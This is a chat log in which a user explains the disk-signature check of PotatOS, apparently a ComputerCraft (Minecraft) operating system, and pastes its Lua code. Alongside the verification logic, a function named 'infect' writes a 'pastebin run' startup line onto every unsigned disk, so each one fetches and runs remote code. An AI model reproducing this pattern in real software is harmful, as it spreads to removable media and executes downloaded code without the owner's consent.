gollark: The signatures are programatically generated from the contents of the file and my private key. PotatOS has the *public* key, so it can verify that the signature was generated from the corresponding private key.
gollark: Um, no, that's not how it works.
gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
